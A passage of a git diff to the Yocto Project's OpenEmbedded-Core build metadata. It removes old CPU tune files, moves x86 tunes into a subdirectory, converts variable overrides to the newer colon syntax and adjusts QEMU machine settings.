-PACKAGE_EXTRA_ARCHS_tune-ppce6500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce6500"
-
-TUNE_FEATURES_tune-ppc64e6500 = "m64 fpu-hard e6500 altivec bigendian"
-BASE_LIB_tune-ppc64e6500 = "lib64"
-TUNE_PKGARCH_tune-ppc64e6500 = "ppc64e6500"
-PACKAGE_EXTRA_ARCHS_tune-ppc64e6500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64e6500"
-
-# glibc configure options to get e6500 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
-
-# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-sh3.inc b/meta/conf/machine/include/tune-sh3.inc
deleted file mode 100644
index 80df9a0b61..0000000000
--- a/meta/conf/machine/include/tune-sh3.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "sh3"
-
-require conf/machine/include/sh/arch-sh.inc
-
-TUNEVALID[sh3] = "Enable SH3 optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh3', ' -m3', '', d)}"
-
-AVAILTUNES += "sh3 sh3eb"
-TUNE_FEATURES_tune-sh3 = "sh3"
-TUNE_ARCH_tune-sh3 = "sh3"
-TUNE_PKGARCH_tune-sh3 = "sh3"
-PACKAGE_EXTRA_ARCHS_tune-sh3 = "sh sh3"
-
-TUNE_FEATURES_tune-sh3eb = "sh3 bigendian"
-TUNE_ARCH_tune-sh3eb = "sh3eb"
-TUNE_PKGARCH_tune-sh3eb = "sh3eb"
-PACKAGE_EXTRA_ARCHS_tune-sh3eb = "sheb sh3eb"
diff --git a/meta/conf/machine/include/tune-sh4.inc b/meta/conf/machine/include/tune-sh4.inc
deleted file mode 100644
index 4160c30e1a..0000000000
--- a/meta/conf/machine/include/tune-sh4.inc
+++ /dev/null
@@ -1,34 +0,0 @@
-DEFAULTTUNE ?= "sh4"
-
-# Pull in sh4 for compatibility...
-require conf/machine/include/sh/arch-sh.inc
-
-TUNEVALID[sh4] = "Enable SH4 optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4', ' -m4', '', d)}"
-
-# NOTE: If you want to optimize to sh4a, conf/machine/include/tune-sh4a.inc.
-# But it is not compatible for sh4.
-# The binary optimized by m4a doesn't operate on sh4. It works on sh4a only.
-TUNEVALID[sh4a] = "Enable SH4a optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4a', ' -m4a', '', d)}"
-
-AVAILTUNES += "sh4 sh4eb sh4a sh4aeb"
-TUNE_FEATURES_tune-sh4 = "sh4"
-TUNE_ARCH_tune-sh4 = "sh4"
-TUNE_PKGARCH_tune-sh4 = "sh4"
-PACKAGE_EXTRA_ARCHS_tune-sh4 = "sh sh4"
-
-TUNE_FEATURES_tune-sh4eb = "sh4 bigendian"
-TUNE_ARCH_tune-sh4eb = "sh4eb"
-TUNE_PKGARCH_tune-sh4eb = "sh4eb"
-PACKAGE_EXTRA_ARCHS_tune-sh4eb = "sheb sh4eb"
-
-TUNE_FEATURES_tune-sh4a = "sh4a"
-TUNE_ARCH_tune-sh4a = "sh4"
-TUNE_PKGARCH_tune-sh4a = "sh4a"
-PACKAGE_EXTRA_ARCHS_tune-sh4a = "sh sh4 sh4a"
-
-TUNE_FEATURES_tune-sh4aeb = "sh4a bigendian"
-TUNE_ARCH_tune-sh4aeb = "sh4eb"
-TUNE_PKGARCH_tune-sh4aeb = "sh4aeb"
-PACKAGE_EXTRA_ARCHS_tune-sh4aeb = "sheb sh4eb sh4aeb"
diff --git a/meta/conf/machine/include/tune-strongarm1100.inc b/meta/conf/machine/include/tune-strongarm1100.inc
deleted file mode 100644
index e978e925d2..0000000000
--- a/meta/conf/machine/include/tune-strongarm1100.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-DEFAULTTUNE ?= "armv4"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[strongarm] = "Enable Strongarm 1100 series processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', ' -mcpu=strongarm1100', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "strongarm"
-ARMPKGARCH_tune-strongarm = "strongarm"
-TUNE_FEATURES_tune-strongarm = "arm strongarm"
-PACKAGE_EXTRA_ARCHS_tune-strongarm = "${PACKAGE_EXTRA_ARCHS_tune-armv4} strongarm"
diff --git a/meta/conf/machine/include/tune-supersparc.inc b/meta/conf/machine/include/tune-supersparc.inc
deleted file mode 100644
index 0faa361f18..0000000000
--- a/meta/conf/machine/include/tune-supersparc.inc
+++ /dev/null
@@ -1,4 +0,0 @@
-TUNE_ARCH = "sparc"
-
-TUNE_CCARGS = "-mcpu=supersparc"
-TUNE_PKGARCH = "supersparc"
diff --git a/meta/conf/machine/include/tune-thunderx.inc b/meta/conf/machine/include/tune-thunderx.inc
deleted file mode 100644
index aa4d0501d4..0000000000
--- a/meta/conf/machine/include/tune-thunderx.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "thunderx"
-AVAILTUNES += "thunderx thunderx_be"
-
-TUNEVALID[thunderx] = "Enable instructions for Cavium ThunderX"
-
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thunderx', ' -mcpu=thunderx', '',d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-ARMPKGARCH_tune-thunderx ?= "thunderx"
-ARMPKGARCH_tune-thunderx_be ?= "thunderx_be"
-
-TUNE_FEATURES_tune-thunderx = "${TUNE_FEATURES_tune-aarch64} thunderx"
-TUNE_FEATURES_tune-thunderx_be = "${TUNE_FEATURES_tune-thunderx} bigendian"
-BASE_LIB_tune-thunderx = "lib64"
-BASE_LIB_tune-thunderx_be = "lib64"
-
-PACKAGE_EXTRA_ARCHS_tune-thunderx = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} thunderx"
-PACKAGE_EXTRA_ARCHS_tune-thunderx_be = "aarch64_be thunderx_be"
diff --git a/meta/conf/machine/include/tune-xscale.inc b/meta/conf/machine/include/tune-xscale.inc
deleted file mode 100644
index 19d5e13e61..0000000000
--- a/meta/conf/machine/include/tune-xscale.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "armv5te"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[xscale] = "Enable PXA255/PXA26x Xscale specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'xscale', ' -mcpu=xscale', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'xscale', 'armv5:', '' ,d)}"
-
-AVAILTUNES += "xscale"
-ARMPKGARCH_tune-xscale = "xscale"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-xscale = "arm thumb dsp xscale"
-PACKAGE_EXTRA_ARCHS_tune-xscale = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} xscale xscalet xscalee xscalete"
-
-AVAILTUNES += "xscale-be"
-ARMPKGARCH_tune-xscale-be = "xscale"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-xscale-be = "${TUNE_FEATURES_tune-xscale} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-xscale-be = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb} xscaleb xscaletb xscaleeb xscaleteb"
diff --git a/meta/conf/machine/include/x86/README b/meta/conf/machine/include/x86/README
index 2b6c46c7eb..05aee533a7 100644
--- a/meta/conf/machine/include/x86/README
+++ b/meta/conf/machine/include/x86/README
@@ -14,7 +14,7 @@ X86ARCH64 - This is the 64-bit architecture GNU canonical arch, TUNE_ARCH.
The TUNE_PKGARCH is defined as follows:
-TUNE_PKGARCH = ${TUNE_PKGARCH_tune-${DEFAULTTUNE}}
+TUNE_PKGARCH = ${TUNE_PKGARCH:tune-${DEFAULTTUNE}}
The package architecture for 32-bit targets is historical and generally
set to to match the core compatible processor type, i.e. i386.
diff --git a/meta/conf/machine/include/x86/arch-x86.inc b/meta/conf/machine/include/x86/arch-x86.inc
index 70814b8d4d..28742e794d 100644
--- a/meta/conf/machine/include/x86/arch-x86.inc
+++ b/meta/conf/machine/include/x86/arch-x86.inc
@@ -7,48 +7,48 @@ TARGET_FPU ?= ""
X86ARCH32 ?= "i586"
X86ARCH64 ?= "x86_64"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
# ELF32 ABI
TUNEVALID[m32] = "IA32 ELF32 standard ABI"
TUNECONFLICTS[m32] = "m64 mx32"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', '${X86ARCH32}', '' ,d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', '${X86ARCH32}', '', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', ' -m32', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'm32', 'x86:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'm32', 'x86:', '', d)}"
# x32 ABI
TUNEVALID[mx32] = "IA32e (x86_64) ELF32 standard ABI"
TUNECONFLICTS[mx32] = "m64 m32"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '${X86ARCH64}', '' ,d)}"
-ABIEXTENSION .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x32', '' ,d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '${X86ARCH64}', '', d)}"
+ABIEXTENSION .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x32', '', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', ' -mx32', '', d)}"
TUNE_LDARGS += "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '-m elf32_x86_64', '', d)}"
TUNE_ASARGS += "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '-x32', '', d)}"
# user mode qemu doesn't support x32
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'qemu-usermode', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x86-x32:', '' ,d)}"
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = " ${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'qemu-usermode', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x86-x32:', '', d)}"
# ELF64 ABI
TUNEVALID[m64] = "IA32e (x86_64) ELF64 standard ABI"
TUNECONFLICTS[m64] = "m32 mx32"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', '${X86ARCH64}', '' ,d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', '${X86ARCH64}', '', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', ' -m64', '', d)}"
# Default Tune configurations
AVAILTUNES += "x86"
-TUNE_FEATURES_tune-x86 = "m32"
-BASE_LIB_tune-x86 = "lib"
-TUNE_PKGARCH_tune-x86 = "x86"
-PACKAGE_EXTRA_ARCHS_tune-x86 = "${TUNE_PKGARCH_tune-x86}"
+TUNE_FEATURES:tune-x86 = "m32"
+BASE_LIB:tune-x86 = "lib"
+TUNE_PKGARCH:tune-x86 = "x86"
+PACKAGE_EXTRA_ARCHS:tune-x86 = "${TUNE_PKGARCH:tune-x86}"
AVAILTUNES += "x86-64"
-TUNE_FEATURES_tune-x86-64 = "m64"
-BASE_LIB_tune-x86-64 = "lib64"
-TUNE_PKGARCH_tune-x86-64 = "x86_64"
-PACKAGE_EXTRA_ARCHS_tune-x86-64 = "${TUNE_PKGARCH_tune-x86-64}"
+TUNE_FEATURES:tune-x86-64 = "m64"
+BASE_LIB:tune-x86-64 = "lib64"
+TUNE_PKGARCH:tune-x86-64 = "x86_64"
+PACKAGE_EXTRA_ARCHS:tune-x86-64 = "${TUNE_PKGARCH:tune-x86-64}"
AVAILTUNES += "x86-64-x32"
-TUNE_FEATURES_tune-x86-64-x32 = "mx32"
-BASE_LIB_tune-x86-64-x32 = "libx32"
-TUNE_PKGARCH_tune-x86-64-x32 = "x86_64_x32"
-PACKAGE_EXTRA_ARCHS_tune-x86-64-x32 = "${TUNE_PKGARCH_tune-x86-64-x32}"
+TUNE_FEATURES:tune-x86-64-x32 = "mx32"
+BASE_LIB:tune-x86-64-x32 = "libx32"
+TUNE_PKGARCH:tune-x86-64-x32 = "x86_64_x32"
+PACKAGE_EXTRA_ARCHS:tune-x86-64-x32 = "${TUNE_PKGARCH:tune-x86-64-x32}"
diff --git a/meta/conf/machine/include/x86/qemuboot-x86.inc b/meta/conf/machine/include/x86/qemuboot-x86.inc
new file mode 100644
index 0000000000..6ae03633ae
--- /dev/null
+++ b/meta/conf/machine/include/x86/qemuboot-x86.inc
@@ -0,0 +1,13 @@
+# For runqemu
+IMAGE_CLASSES += "qemuboot"
+QB_SMP ?= "-smp 4"
+QB_CPU:x86 ?= "-cpu IvyBridge -machine q35,i8042=off"
+QB_CPU_KVM:x86 ?= "-cpu IvyBridge -machine q35,i8042=off"
+
+QB_CPU:x86-64 ?= "-cpu IvyBridge -machine q35,i8042=off"
+QB_CPU_KVM:x86-64 ?= "-cpu IvyBridge -machine q35,i8042=off"
+
+QB_AUDIO_DRV = "alsa"
+QB_AUDIO_OPT = "-device AC97"
+QB_KERNEL_CMDLINE_APPEND = "oprofile.timer=1 tsc=reliable no_timer_check rcupdate.rcu_expedited=1"
+QB_OPT_APPEND = "-usb -device usb-tablet -usb -device usb-kbd"
diff --git a/meta/conf/machine/include/x86/tune-atom.inc b/meta/conf/machine/include/x86/tune-atom.inc
new file mode 100644
index 0000000000..6b84fffc3f
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-atom.inc
@@ -0,0 +1,2 @@
+# Atom tunings are the same as core2 for now...
+require conf/machine/include/x86/tune-core2.inc
diff --git a/meta/conf/machine/include/x86/tune-c3.inc b/meta/conf/machine/include/x86/tune-c3.inc
new file mode 100644
index 0000000000..afae82541d
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-c3.inc
@@ -0,0 +1,12 @@
+require conf/machine/include/x86/arch-x86.inc
+
+TUNEVALID[c3] = "VIA Cyrix III or VIA C3 specific optimizations"
+TUNECONFLICTS[c3] = "m64 mx32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'c3', ' -march=c3 -mtune=c3', '', d)}"
+
+AVAILTUNES += "c3"
+TUNE_FEATURES:tune-c3 = "${TUNE_FEATURES:tune-x86} c3"
+BASE_LIBS:tune-c3 = "${BASE_LIB:tune-x86}"
+# The following should likely be something other then i586...
+TUNE_PKGARCH:tune-c3 = "i586"
+PACKAGE_EXTRA_ARCHS:tune-c3 = "${PACKAGE_EXTRA_ARCHS:tune-x86} i386 i486 i586"
diff --git a/meta/conf/machine/include/x86/tune-core2.inc b/meta/conf/machine/include/x86/tune-core2.inc
new file mode 100644
index 0000000000..082fd4efc3
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-core2.inc
@@ -0,0 +1,38 @@
+# Settings for the GCC(1) cpu-type "core2":
+#
+# Intel Core2 CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3 and SSSE3
+# instruction set support.
+#
+# This tune is recommended for the Intel Core 2 CPU family, including Conroe,
+# Merom and beyond, as well as the first Atom CPUs, Diamondville, and beyond.
+#
+DEFAULTTUNE ?= "core2-32"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-i686.inc
+
+# Extra tune features
+TUNEVALID[core2] = "Enable core2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'core2', ' -march=core2 -mtune=core2 -msse3 -mfpmath=sse', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "core2-32"
+TUNE_FEATURES:tune-core2-32 = "${TUNE_FEATURES:tune-x86} core2"
+BASE_LIB:tune-core2-32 = "lib"
+TUNE_PKGARCH:tune-core2-32 = "core2-32"
+PACKAGE_EXTRA_ARCHS:tune-core2-32 = "${PACKAGE_EXTRA_ARCHS:tune-i686} core2-32"
+QEMU_EXTRAOPTIONS_core2-32 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "core2-64"
+TUNE_FEATURES:tune-core2-64 = "${TUNE_FEATURES:tune-x86-64} core2"
+BASE_LIB:tune-core2-64 = "lib64"
+TUNE_PKGARCH:tune-core2-64 = "core2-64"
+PACKAGE_EXTRA_ARCHS:tune-core2-64 = "${PACKAGE_EXTRA_ARCHS:tune-x86-64} core2-64"
+QEMU_EXTRAOPTIONS_core2-64 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "core2-64-x32"
+TUNE_FEATURES:tune-core2-64-x32 = "${TUNE_FEATURES:tune-x86-64-x32} core2"
+BASE_LIB:tune-core2-64-x32 = "libx32"
+TUNE_PKGARCH:tune-core2-64-x32 = "core2-64-x32"
+PACKAGE_EXTRA_ARCHS:tune-core2-64-x32 = "${PACKAGE_EXTRA_ARCHS:tune-x86-64-x32} core2-64-x32"
+QEMU_EXTRAOPTIONS_core2-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/x86/tune-corei7.inc b/meta/conf/machine/include/x86/tune-corei7.inc
new file mode 100644
index 0000000000..7798288a74
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-corei7.inc
@@ -0,0 +1,38 @@
+# Settings for the GCC(1) cpu-type "nehalem":
+#
+# Intel Nehalem CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1,
+# SSE4.2 and POPCNT instruction set support.
+#
+# This tune is recommended for Intel Nehalem and Silvermont (e.g. Bay Trail) CPUs
+# (and beyond).
+#
+DEFAULTTUNE ?= "corei7-64"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-core2.inc
+
+# Extra tune features
+TUNEVALID[corei7] = "Enable corei7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'corei7', ' -march=nehalem -mtune=generic -mfpmath=sse -msse4.2', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "corei7-32"
+TUNE_FEATURES:tune-corei7-32 = "${TUNE_FEATURES:tune-x86} corei7"
+BASE_LIB:tune-corei7-32 = "lib"
+TUNE_PKGARCH:tune-corei7-32 = "corei7-32"
+PACKAGE_EXTRA_ARCHS:tune-corei7-32 = "${PACKAGE_EXTRA_ARCHS:tune-core2-32} corei7-32"
+QEMU_EXTRAOPTIONS_corei7-32 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "corei7-64"
+TUNE_FEATURES:tune-corei7-64 = "${TUNE_FEATURES:tune-x86-64} corei7"
+BASE_LIB:tune-corei7-64 = "lib64"
+TUNE_PKGARCH:tune-corei7-64 = "corei7-64"
+PACKAGE_EXTRA_ARCHS:tune-corei7-64 = "${PACKAGE_EXTRA_ARCHS:tune-core2-64} corei7-64"
+QEMU_EXTRAOPTIONS_corei7-64 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "corei7-64-x32"
+TUNE_FEATURES:tune-corei7-64-x32 = "${TUNE_FEATURES:tune-x86-64-x32} corei7"
+BASE_LIB:tune-corei7-64-x32 = "libx32"
+TUNE_PKGARCH:tune-corei7-64-x32 = "corei7-64-x32"
+PACKAGE_EXTRA_ARCHS:tune-corei7-64-x32 = "${PACKAGE_EXTRA_ARCHS:tune-core2-64-x32} corei7-64-x32"
+QEMU_EXTRAOPTIONS_corei7-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/x86/tune-i586-nlp.inc b/meta/conf/machine/include/x86/tune-i586-nlp.inc
new file mode 100644
index 0000000000..ecfbf9f1b2
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i586-nlp.inc
@@ -0,0 +1,19 @@
+# Settings for the GCC(1) cpu-type "quark":
+#
+#
+#
+DEFAULTTUNE ?= "i586-nlp-32"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/arch-x86.inc
+
+# x86 with no lock prefix
+TUNEVALID[i586-nlp] = "IA32 with Lock Prefix omitted"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586-nlp', ' -march=i586 -Wa,-momit-lock-prefix=yes', '', d)}"
+
+# Quark tune feature
+AVAILTUNES = "i586-nlp-32"
+TUNE_FEATURES:tune-i586-nlp-32 = "${TUNE_FEATURES:tune-x86} i586-nlp"
+BASE_LIB:tune-i586-nlp-32 = "lib"
+TUNE_PKGARCH:tune-i586-nlp-32 = "i586-nlp-32"
+PACKAGE_EXTRA_ARCHS:tune-i586-nlp-32 = "i586-nlp-32"
diff --git a/meta/conf/machine/include/x86/tune-i586.inc b/meta/conf/machine/include/x86/tune-i586.inc
new file mode 100644
index 0000000000..b1299e9e91
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i586.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "i586"
+
+require conf/machine/include/x86/arch-x86.inc
+
+# Extra tune features
+TUNEVALID[i586] = "Enable i586 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586', ' -march=i586', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "i586"
+TUNE_FEATURES:tune-i586 = "${TUNE_FEATURES:tune-x86} i586"
+BASE_LIB:tune-i586 = "lib"
+TUNE_PKGARCH:tune-i586 = "i586"
+PACKAGE_EXTRA_ARCHS:tune-i586 = "${PACKAGE_EXTRA_ARCHS:tune-x86} i586"
diff --git a/meta/conf/machine/include/x86/tune-i686.inc b/meta/conf/machine/include/x86/tune-i686.inc
new file mode 100644
index 0000000000..293d81e6c5
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i686.inc
@@ -0,0 +1,27 @@
+#
+# The i686 CPU family was introduced with the Intel Pentium Pro in 1995.
+# It has as required feature flags: fpu tsc cx8 cmov.
+#
+# It is the minimum CPU required by the Debian i386 port.
+# https://lists.debian.org/debian-devel-announce/2016/05/msg00001.html
+#
+#
+
+DEFAULTTUNE ?= "i686"
+
+# Set x86 target arch to i686, so that glibc enables SSE optimised memcpy, etc.
+X86ARCH32 ?= "i686"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-i586.inc
+
+# Extra tune features
+TUNEVALID[i686] = "Enable i686 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i686', ' -march=i686', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "i686"
+TUNE_FEATURES:tune-i686 = "${TUNE_FEATURES:tune-x86} i686"
+BASE_LIB:tune-i686 = "lib"
+TUNE_PKGARCH:tune-i686 = "i686"
+PACKAGE_EXTRA_ARCHS:tune-i686 = "${PACKAGE_EXTRA_ARCHS:tune-i586} i686"
diff --git a/meta/conf/machine/include/x86/tune-x86-64-v3.inc b/meta/conf/machine/include/x86/tune-x86-64-v3.inc
new file mode 100644
index 0000000000..254f03c590
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-x86-64-v3.inc
@@ -0,0 +1,31 @@
+# Settings for the GCC(1) cpu-type "x86-64-v3":
+#
+# CPUs with AVX, AVX2, BMI1, BMI2, F16C, FMA, LZCNT, MOVBE, XSAVE.
+# (but not AVX512).
+# See https://www.phoronix.com/news/GCC-11-x86-64-Feature-Levels for details.
+#
+# This tune is recommended for Intel Haswell/AMD Excavator CPUs (and later).
+#
+DEFAULTTUNE ?= "x86-64-v3"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-corei7.inc
+
+# Extra tune features
+TUNEVALID[x86-64-v3] = "Enable x86-64-v3 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'x86-64-v3', ' -march=x86-64-v3', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "x86-64-v3"
+TUNE_FEATURES:tune-x86-64-v3 = "${TUNE_FEATURES:tune-x86-64} x86-64-v3"
+BASE_LIB:tune-x86-64-v3 = "lib64"
+TUNE_PKGARCH:tune-x86-64-v3 = "x86-64-v3"
+PACKAGE_EXTRA_ARCHS:tune-x86-64-v3 = "${PACKAGE_EXTRA_ARCHS:tune-corei7-64} x86-64-v3"
+QEMU_EXTRAOPTIONS_x86-64-v3 = " -cpu Skylake-Client,check=false"
+
+AVAILTUNES += "x86-64-v3-x32"
+TUNE_FEATURES:tune-x86-64-v3-x32 = "${TUNE_FEATURES:tune-x86-64-x32} x86-64-v3"
+BASE_LIB:tune-x86-64-v3-x32 = "libx32"
+TUNE_PKGARCH:tune-x86-64-v3-x32 = "x86-64-v3-x32"
+PACKAGE_EXTRA_ARCHS:tune-x86-64-v3-x32 = "${PACKAGE_EXTRA_ARCHS:tune-corei7-64-x32} x86-64-v3-x32"
+QEMU_EXTRAOPTIONS_x86-64-v3-x32 = " -cpu Skylake-Client,check=false"
diff --git a/meta/conf/machine/include/x86-base.inc b/meta/conf/machine/include/x86/x86-base.inc
index a72714711d..fc6c39148d 100644
--- a/meta/conf/machine/include/x86-base.inc
+++ b/meta/conf/machine/include/x86/x86-base.inc
@@ -18,7 +18,6 @@ SERIAL_CONSOLES ?= "115200;ttyS0"
# kernel-related variables
#
PREFERRED_PROVIDER_virtual/kernel ??= "linux-yocto"
-PREFERRED_VERSION_linux-yocto ??= "5.4%"
#
# XSERVER subcomponents, used to build the XSERVER variable
@@ -36,7 +35,7 @@ XSERVER_X86_I915 = "xf86-video-intel \
"
XSERVER_X86_I965 = "xf86-video-intel \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-i965', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-crocus', '', d)} \
"
XSERVER_X86_VESA = "xf86-video-vesa"
diff --git a/meta/conf/machine/qemuarm.conf b/meta/conf/machine/qemuarm.conf
index 3364dcf042..943ce7c16a 100644
--- a/meta/conf/machine/qemuarm.conf
+++ b/meta/conf/machine/qemuarm.conf
@@ -2,7 +2,7 @@
#@NAME: QEMU Arm Cortex-A15 machine
#@DESCRIPTION: Machine configuration for running an ARMv7 system on QEMU
-require conf/machine/include/tune-cortexa15.inc
+require conf/machine/include/arm/armv7a/tune-cortexa15.inc
require conf/machine/include/qemu.inc
KERNEL_IMAGETYPE = "zImage"
@@ -10,19 +10,15 @@ KERNEL_IMAGETYPE = "zImage"
UBOOT_MACHINE ?= "qemu_arm_defconfig"
SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;hvc0"
-SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-arm"
QB_MACHINE = "-machine virt,highmem=off"
QB_CPU = "-cpu cortex-a15"
-# Standard Serial console
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0"
+QB_SMP ?= "-smp 4"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND = "-device VGA,edid=on"
-QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
-# Add the virtio RNG
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
# Virtio Networking support
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
@@ -30,6 +26,6 @@ QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
# Virtio serial console
QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
-QB_TCPSERIAL_OPT = "-device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
+QB_TCPSERIAL_OPT = "-device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1,nodelay=on -device virtconsole,chardev=virtcon"
-KMACHINE_qemuarm = "qemuarma15"
+KMACHINE:qemuarm = "qemuarma15"
diff --git a/meta/conf/machine/qemuarm64.conf b/meta/conf/machine/qemuarm64.conf
index fdd464d708..a096d964db 100644
--- a/meta/conf/machine/qemuarm64.conf
+++ b/meta/conf/machine/qemuarm64.conf
@@ -2,7 +2,7 @@
#@NAME: QEMU ARMv8 machine
#@DESCRIPTION: Machine configuration for running an ARMv8 system on QEMU
